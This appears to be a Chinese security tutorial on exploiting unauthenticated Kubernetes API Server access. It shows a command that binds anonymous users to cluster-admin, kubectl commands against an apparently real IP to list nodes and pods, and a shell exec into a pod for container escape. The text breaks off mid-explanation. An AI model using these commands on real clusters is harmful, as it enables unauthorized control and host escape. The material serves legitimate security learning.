K8s下的未授权及利用

时间:2024-10-10 13:05:18

它的未授权主要包括以下几种:

  • API Server,默认端口为8080,6443
  • kubelet,默认端口为10250
  • etcd,默认端口为2379
  • Dashboard面板泄露

一、API Server 80806443 未授权访问

K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于 /etc/kubernetes/manifests/ 配置文件。

如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。

如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。

漏洞复现

1、8080端口
默认情况下,8080端口是关闭的,需要我们手动开启
vim /etc/kubernetes/manifests/
重启k8s
systemctl restart kubectl

访问 8080 端口即可看到存在未授权。

2、6443端口

如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下访问 6443 端口,提示 Forbidden。

执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

知道这种未授权访问,有什么用呢?或者说我们应该如何利用呢?

下面来说说他的利用方式:

我们随便使用一台安装了kubectl的机器就行,简单来说,知道了API server未授权,其实就可以用kubectl来进行命令执行:

查看集群信息
kubectl -s http://101.26.108.16:8080 cluster-info

查看node节点信息以及pod信息
kubectl -s http://101.36.108.16:8080 get nodes
kubectl -s http://101.36.108.16:8080 get pods

查看node和pod的详细信息
kubectl -s http://101.36.108.16:8080 get nodes -o wide
kubectl -s http://101.36.108.16:8080 get pods describe pod escaper

进入到escaper(这是一个可以进行逃逸的环境),进行逃逸
kubectl -s http://101.36.108.16:8080 exec -n default -it escaper -- /bin/bash

补充:

K8s下通过挂载 /var/log 目录逃逸的原理主要是:
  1. 自定义服务账户:首先,在 Pod 中通过 serviceAccountName 指定一个自定义的服务账户。这意味着该 Pod 将使用指定的服务账户进行身份验证和授权。
  2. 授予宿主机目录权限:然后,使用 ClusterRoleClusterRoleBinding 为服务账户授予访问宿主机 /var/log 目录的权限。 ClusterRoleClusterRoleBinding 是 Kubernetes 中用于集群范围授权的机制。这意味着服务账户现在具有访问宿主机文件系统的特权。
  3. 挂载宿主机目录:接下来,在 Pod 的定义中,通过使用